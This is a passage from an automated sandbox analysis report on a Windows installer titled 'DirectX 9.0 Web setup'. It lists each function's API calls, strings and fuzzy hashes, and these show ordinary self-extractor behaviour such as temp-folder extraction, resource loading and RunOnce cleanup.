FreeSid.ADVAPI32(00000000,?,?,010016C1), ref: 01001672
FreeLibrary.KERNEL32(010016C1,?,?,010016C1,?,00000000,?,01004E0E,?,?,00000000), ref: 0100167C

Strings

advapi32.dll, xrefs: 010015FF
CheckTokenMembership, xrefs: 01001628
DirectX 9.0 Web setup, xrefs: 0100163A

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$DirectX 9.0 Web setup$advapi32.dll
API String ID: 4204503880-3291049768
Opcode ID: 05aef74ab9c6aad8ac387d91b692b6fb9c51c55194fb5577f0a734ca75a63f4d
Instruction ID: 7c54915b23e232019903c0576df7497f5bb26148f144bc74401e3466b5a6cae1
Opcode Fuzzy Hash: 05aef74ab9c6aad8ac387d91b692b6fb9c51c55194fb5577f0a734ca75a63f4d
Instruction Fuzzy Hash: 87117071944289FBDB12DFA99C48ADEBFB8EF18344F540099F181A3181C6758A04CB65

Function 01002EAF Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filestringCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(004910B0,00000080,?,?,00000000), ref: 01002EE4
DeleteFileA.KERNEL32(004910B0,?,?,00000000), ref: 01002EEC
LocalFree.KERNEL32(004910B0,?,?,00000000), ref: 01002EF7
LocalFree.KERNEL32(004910B0,?,?,00000000), ref: 01002EFA
lstrcpyA.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 01002F25
SetCurrentDirectoryA.KERNEL32(01001284,?,00000000), ref: 01002F43

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 01002F1B

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectorylstrcpy
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 2574644873-1955631000
Opcode ID: 93e692ac1587df938e33032a71ea2a0dccc3e90e8b89d3b20b57e192b1dc1fa6
Instruction ID: 960ce29c7a69c0d0d6bd76a451a08647df6ffba3f75ce7ea97df57adcc28d351
Opcode Fuzzy Hash: 93e692ac1587df938e33032a71ea2a0dccc3e90e8b89d3b20b57e192b1dc1fa6
Instruction Fuzzy Hash: DB11E27A500259DFFB73EF58E94C96577E8FB04340F45406EE2C052198CBBB9548CB50

Function 01002A34 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A48
SizeofResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A4C
FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A68
LoadResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A6C
LockResource.KERNEL32(00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A73
FreeResource.KERNEL32(00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A97

Strings

DirectX 9.0 Web setup, xrefs: 01002A38

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeof
String ID: DirectX 9.0 Web setup
API String ID: 468261009-3102400635
Opcode ID: 60513ed6fa868ebe5019eda0ed49016e3eb50df202396a8709f0f5900e5d54f2
Instruction ID: b81af5958d1d79e739a71e668ea852868a10399b4e191fd1668772ccbe63b742
Opcode Fuzzy Hash: 60513ed6fa868ebe5019eda0ed49016e3eb50df202396a8709f0f5900e5d54f2
Instruction Fuzzy Hash: D301D631700148BBEB339B66AC88D7F7BADFB8A791F044019F986C7144CA768880DB61

Function 0100383D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 01003878
GetDesktopWindow.USER32 ref: 01003882
SetWindowTextA.USER32(?,DirectX 9.0 Web setup), ref: 01003898
SetDlgItemTextA.USER32(?,00000838), ref: 010038AA
SetForegroundWindow.USER32(?), ref: 010038B1
EndDialog.USER32(?,00000002), ref: 010038BE

Strings

DirectX 9.0 Web setup, xrefs: 01003892

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: DirectX 9.0 Web setup
API String ID: 852535152-3102400635
Opcode ID: 75a087d82200ebd705203d3342fd985e8dff23fa491e07dc86cdd8fdf240c47c
Instruction ID: 5c13e9e4d6d24029a2895105e5d04483bb2c3333f3e538078e74f50813a3fb26
Opcode Fuzzy Hash: 75a087d82200ebd705203d3342fd985e8dff23fa491e07dc86cdd8fdf240c47c
Instruction Fuzzy Hash: 7E017C31510214AFFB675BA8D8089ED7B94FB05741F004891FAC2DA0C5CB7ACB41CBE0

Function 01002691 Relevance: 12.1, APIs: 8, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 010027EB

Part of subcall function 01002081: CharUpperA.USER32(?,00000001,?,00000000), ref: 010020A8
Part of subcall function 01002081: CharNextA.USER32(?), ref: 010020B7
Part of subcall function 01002081: CharNextA.USER32(00000000), ref: 010020BA
Part of subcall function 01002081: lstrcpyA.KERNEL32(?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010020EA
Part of subcall function 01002081: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,00000000), ref: 01002110
Part of subcall function 01002081: RegQueryValueExA.ADVAPI32(?,01001251,00000000,?,?,?), ref: 01002133
Part of subcall function 01002081: ExpandEnvironmentStringsA.KERNEL32(?,?,00000104), ref: 0100214E
Part of subcall function 01002081: lstrcpyA.KERNEL32(?,?), ref: 01002162
Part of subcall function 01002081: RegCloseKey.ADVAPI32(?), ref: 01002176

GetFileVersionInfoSizeA.VERSION(?,?,?,00000001,?,?,?,?,00000104,?,?,?,?,?,?,?), ref: 010026EF
GlobalAlloc.KERNEL32(00000042,00000000,0000003C,?,0000003C,00000001,?,?,?,?,00000001,?,?,?,?,00000104), ref: 01002702
GlobalLock.KERNEL32(00000000), ref: 01002714
GetFileVersionInfoA.VERSION(0000003C,?,?,00000000), ref: 0100272E
VerQueryValueA.VERSION(00000000,0100132C,0000003C,0000003C,0000003C,?,?,00000000), ref: 01002745
GlobalUnlock.KERNEL32(00000000), ref: 010027AC
GlobalUnlock.KERNEL32(00000000), ref: 010027FB

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Global$Char$FileInfoNextQueryUnlockValueVersionlstrcpy$AllocCloseEnvironmentExpandFreeLockOpenSizeStringsUpper
String ID:
API String ID: 2416581039-0
Opcode ID: d36b2cbb2bcf2f010609546f27dacd5adc000b5a5f889186ab3a9f49350142b4
Instruction ID: 715b562a5a0b13aa3d3becab1fee66edbba7586ed49f21780c7e5d38fec6c3f0
Opcode Fuzzy Hash: d36b2cbb2bcf2f010609546f27dacd5adc000b5a5f889186ab3a9f49350142b4
Instruction Fuzzy Hash: 1B41717090020AEFEF12DF94CD88AEDBBF5FF44304F144069EA85A6591C7759980CF50

Function 01002ACD Relevance: 12.0, APIs: 8, Instructions: 42stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000104,?,?,?,01004972,?,00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01002ADB
lstrlenA.KERNEL32(?,?,?,?,01004972,?,00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01002AE2
lstrcpyA.KERNEL32(?,00000104,?,?,?,01004972,?,00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01002AF8
lstrlenA.KERNEL32(?,?,?,?,01004972,?,00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01002AFF
lstrlenA.KERNEL32(?,?,?,?,01004972,?,00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01002B09
lstrlenA.KERNEL32(?,?,?,?,01004972,?,00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01002B13
lstrlenA.KERNEL32(?,?,?,?,01004972,?,00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01002B1A
lstrcatA.KERNEL32(?,?,?,?,?,01004972,?,00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01002B25

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: lstrlen$lstrcatlstrcpy
String ID:
API String ID: 2414487701-0
Opcode ID: 7294cccf960f3f366eb54c5e099d3ec04d4912deaa84471d2f8e17bbbdc9ee5a
Instruction ID: 5cb71324bf1073ba797ff75ade76f469c3bffa4559f515a1268d3d36d40ed6b7
Opcode Fuzzy Hash: 7294cccf960f3f366eb54c5e099d3ec04d4912deaa84471d2f8e17bbbdc9ee5a
Instruction Fuzzy Hash: 2701D63140829ABEEB23DF64DC48EAF3FE9DF4A310F044469F98492052CB75E0159BA1

Function 01002969 Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0100297F
GetWindowRect.USER32(010017FA,?), ref: 01002994
GetDC.USER32(?), ref: 010029A8
GetDeviceCaps.GDI32(00000000,00000008), ref: 010029B4
GetDeviceCaps.GDI32(010017FA,0000000A), ref: 010029C2
ReleaseDC.USER32(?,010017FA), ref: 010029D1
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005), ref: 01002A27

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: e5b264a83dd9e846005674263491b2207fbfe43a598662fe0941c5ab6264e4cb
Instruction ID: 4c28801afd84217de1cb5c416d2791a7d42eb7b966f216dd91684d3200acc53b
Opcode Fuzzy Hash: e5b264a83dd9e846005674263491b2207fbfe43a598662fe0941c5ab6264e4cb
Instruction Fuzzy Hash: 0B215932A0010AAFDF12CFBCCD899EEBBB9EB88310F008125F941E7254D735A9458B50

Function 01004481 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 01002A34: FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A48
Part of subcall function 01002A34: SizeofResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A4C
Part of subcall function 01002A34: FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A68
Part of subcall function 01002A34: LoadResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A6C
Part of subcall function 01002A34: LockResource.KERNEL32(00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A73

LocalAlloc.KERNEL32(00000040,00000001,LICENSE,00000000,00000000,?,00000000,?,0100592D,00000000,01005A22,00000000,01005ACB,?,?,01005ACB), ref: 0100449B
LocalFree.KERNEL32(00000000,000004B1,00000000,00000000,00000010,00000000,LICENSE,00000000,00000000,?,00000000,?,0100592D,00000000,01005A22,00000000), ref: 010044E8

Part of subcall function 010038CC: MessageBoxA.USER32(00000000,?,DirectX 9.0 Web setup,00000000), ref: 01003946

Part of subcall function 01003547: GetLastError.KERNEL32(771C4B00,01004003), ref: 0100354E
Part of subcall function 01003547: GetLastError.KERNEL32 ref: 01003554

LocalFree.KERNEL32(?,00000000,?,0100592D,00000000,01005A22,00000000,01005ACB,?,?,01005ACB,00000000), ref: 0100454D

Strings

LICENSE, xrefs: 01004488, 0100448D, 010044C8
<None>, xrefs: 010044FA

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Resource$Local$ErrorFindFreeLast$AllocLoadLockMessageSizeof
String ID: <None>$LICENSE
API String ID: 3899723493-383193767
Opcode ID: 9d552bdc682831cc17b8e5f489639f4026cf8ed1a791820ee76a1c03ef31662f
Instruction ID: 6e0dad04b0308800c6e7bb6f83685405a54a227f071ddc6dc43be68e18665347
Opcode Fuzzy Hash: 9d552bdc682831cc17b8e5f489639f4026cf8ed1a791820ee76a1c03ef31662f
Instruction Fuzzy Hash: 791172B4600245BEF7236F21ACC4D7B366DE704399F018024B6C5D94C9DBBB8D408B34

Function 01001DDF Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?), ref: 01001DF7

Part of subcall function 01005B32: lstrlenA.KERNEL32(01003456,0000002F,0100B89A,01003456,0100B89A,01001251), ref: 01005B39
Part of subcall function 01005B32: CharPrevA.USER32(01003456,00000000), ref: 01005B49
Part of subcall function 01005B32: lstrcpyA.KERNEL32(00000000,?), ref: 01005B66

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 01001E1D
_lopen.KERNEL32(?,00000040), ref: 01001E2C
_llseek.KERNEL32(00000000,00000000,00000002), ref: 01001E3D
_lclose.KERNEL32(00000000), ref: 01001E46

Strings

wininit.ini, xrefs: 01001E02

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CharDirectoryPrevPrivateProfileStringWindowsWrite_lclose_llseek_lopenlstrcpylstrlen
String ID: wininit.ini
API String ID: 1211533111-4206010578
Opcode ID: f92e39143841338b23a30a7285bd343bbb73fc4a946f94324873422716c0777d
Instruction ID: b7b4abcde96b08424be1b8ef761040528c423947c2d44bd333b95f446d3817fe
Opcode Fuzzy Hash: f92e39143841338b23a30a7285bd343bbb73fc4a946f94324873422716c0777d
Instruction Fuzzy Hash: BCF0AFB6600194A7E732E7799D8CEEB3ABCAB85710F000095B7D9E30C0D6B8C9458B70

Function 0100366A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 0100368D

Part of subcall function 01005B32: lstrlenA.KERNEL32(01003456,0000002F,0100B89A,01003456,0100B89A,01001251), ref: 01005B39
Part of subcall function 01005B32: CharPrevA.USER32(01003456,00000000), ref: 01005B49
Part of subcall function 01005B32: lstrcpyA.KERNEL32(00000000,?), ref: 01005B66

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?), ref: 010036B8
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 010036E2
CloseHandle.KERNEL32(00000000), ref: 010036FF

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 01003675

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Filelstrcpy$CharCloseCreateHandlePrevWritelstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 3080743287-1955631000
Opcode ID: f3c43e67ddf95b47fdb9e484ccd9ecd1a78d65d94e8c236f23dda56cc12f1390
Instruction ID: 19b174ac764301658f5366c9defac34423b59d1cd1d6115009132bdfdfa86dce
Opcode Fuzzy Hash: f3c43e67ddf95b47fdb9e484ccd9ecd1a78d65d94e8c236f23dda56cc12f1390
Instruction Fuzzy Hash: 48114F71900218EBDB22DF55DC88EDE7F7CFB49760F108155F58596184C7B59A84CFA0

Function 01004161 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,?,00000005), ref: 01004170
LoadResource.KERNEL32(00000000,00000000,?,01004E32,000007D6,00000000,010017B1,00000547,0000083E,?,?,00000000), ref: 0100417E
DialogBoxIndirectParamA.USER32(00000000,00000000,?,0000083E,00000547), ref: 0100419D
FreeResource.KERNEL32(00000000,?,01004E32,000007D6,00000000,010017B1,00000547,0000083E,?,?,00000000), ref: 010041A6

Strings

DirectX 9.0 Web setup, xrefs: 01004165

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID: DirectX 9.0 Web setup
API String ID: 1214682469-3102400635
Opcode ID: e997d8be0718b2931c3f9f962151c7850337d5e5bb85679e49a3f60c032731a3
Instruction ID: 90e970f1d2589a349edb739379ec95ef873ddad6063cdbf399ebe6a889d0bac2
Opcode Fuzzy Hash: e997d8be0718b2931c3f9f962151c7850337d5e5bb85679e49a3f60c032731a3
Instruction Fuzzy Hash: 21018172300219BFEB235FA9AC88DEF7AADEB553A4F014465FB81A6080C7758C5087E4

Function 0100370F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 28librarystringCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 01003724

Part of subcall function 01005B32: lstrlenA.KERNEL32(01003456,0000002F,0100B89A,01003456,0100B89A,01001251), ref: 01005B39
Part of subcall function 01005B32: CharPrevA.USER32(01003456,00000000), ref: 01005B49
Part of subcall function 01005B32: lstrcpyA.KERNEL32(00000000,?), ref: 01005B66

GetFileAttributesA.KERNEL32(?,?,00000000), ref: 01003740
LoadLibraryExA.KERNEL32(?,00000000,00000008), ref: 0100375A
LoadLibraryA.KERNEL32(00000000), ref: 01003765

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 01003718

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: LibraryLoadlstrcpy$AttributesCharFilePrevlstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 4003292530-1955631000
Opcode ID: 2a1abe798eeda10e1ecd94666a9ff7b2e6d0c61b8320ab0a73d9c68e693d9404
Instruction ID: 9f94e3723cca4d266b99732e7a80262a7a37e234bfc11ab39ee7921fbbd2d32f
Opcode Fuzzy Hash: 2a1abe798eeda10e1ecd94666a9ff7b2e6d0c61b8320ab0a73d9c68e693d9404
Instruction Fuzzy Hash: E8F05EB4900608AFEB22AB64DE89EC97B68BB14305F404590F2C9E50C0D7B9E6898F50

Function 01001946 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,?,?,00000000,01002F6A,?,00000000), ref: 01001968
RegDeleteValueA.ADVAPI32(?,wextract_cleanup0,?,00000000,01002F6A,?,00000000), ref: 0100197A
RegCloseKey.ADVAPI32(?,?,00000000,01002F6A,?,00000000), ref: 01001983

Strings

wextract_cleanup0, xrefs: 0100194A, 01001972
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 0100195E

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 849931509-702805525
Opcode ID: 458768e2f170180f9e320fe5dbc18e42d63c941c0fb649dab67b6fa9c1c2255c
Instruction ID: ccbb5ff6748fd46fc05444b67dc659029424084cb7ec84c162ec529ad60e6887
Opcode Fuzzy Hash: 458768e2f170180f9e320fe5dbc18e42d63c941c0fb649dab67b6fa9c1c2255c
Instruction Fuzzy Hash: D3E04F30740358FBF733CB959D0EF697AACA700788F100058F2C1A1095D7F6D5009714

Function 01004657 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 01002A34: FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A48
Part of subcall function 01002A34: SizeofResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A4C
Part of subcall function 01002A34: FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A68
Part of subcall function 01002A34: LoadResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A6C
Part of subcall function 01002A34: LockResource.KERNEL32(00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A73

LocalAlloc.KERNEL32(00000040,00000001,FINISHMSG,00000000,00000000,?,00000000,?,?,010059FB), ref: 01004672
LocalFree.KERNEL32(00000000,?,00000000,?,?,010059FB), ref: 010046C9

Part of subcall function 010038CC: MessageBoxA.USER32(00000000,?,DirectX 9.0 Web setup,00000000), ref: 01003946

Strings

FINISHMSG, xrefs: 0100465F, 01004664, 01004692
<None>, xrefs: 010046A8

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Resource$FindLocal$AllocFreeLoadLockMessageSizeof
String ID: <None>$FINISHMSG
API String ID: 1166655539-3091758298
Opcode ID: 9fc84565805aa23d4fd31d628d8c3b998d3dee3f2991ba92e449fc6c41aa1772
Instruction ID: c5b0bc608187105c25715251356598fe5d23ec77e1943fddc57e6d3d47a5b5c3
Opcode Fuzzy Hash: 9fc84565805aa23d4fd31d628d8c3b998d3dee3f2991ba92e449fc6c41aa1772
Instruction Fuzzy Hash: 5CF06D71241219BBF22366239C49F9B3E4CDB4A7D9F020151BBC5A50C2EAAAF400417D

Function 01005B71 Relevance: 7.5, APIs: 5, Instructions: 44stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(771B0440,?,00000000,75A33530,771B0440,0100228C,?,?,771AE800), ref: 01005B7C
CharPrevA.USER32(771B0440,00000000,?,771AE800), ref: 01005B8C
CharPrevA.USER32(771B0440,00000000,?,771AE800), ref: 01005B98
CharPrevA.USER32(771B0440,00000000,?,771AE800), ref: 01005BAB
CharNextA.USER32(00000000,?,771AE800), ref: 01005BB3

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Char$Prev$Nextlstrlen
String ID:
API String ID: 295585802-0
Opcode ID: 4b52c76db2cf62ff621c8a08fa6ba7fb40a7dbd169611f4951299f618a72bbfa
Instruction ID: 9baf6fa903052a509665a9fab5b6fb85594512577d769c7e3968725e671f5898
Opcode Fuzzy Hash: 4b52c76db2cf62ff621c8a08fa6ba7fb40a7dbd169611f4951299f618a72bbfa
Instruction Fuzzy Hash: 0DF0F672505A542EF7331A2D8C88E7BBFDCDB872A1F040189F6C092081DAA95C408E72

Function 010017B1 Relevance: 7.5, APIs: 5, Instructions: 40windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,0000083E), ref: 010017E3
GetDesktopWindow.USER32 ref: 010017EB
LoadStringA.USER32(?,00000000,00000200,?), ref: 01001816
